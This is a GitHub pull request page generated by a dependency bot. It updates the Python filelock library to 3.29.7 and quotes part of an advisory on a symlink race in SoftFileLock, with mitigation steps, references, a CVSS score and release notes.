_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

The test test_fifo_write_marker_does_no0 fails

1 participant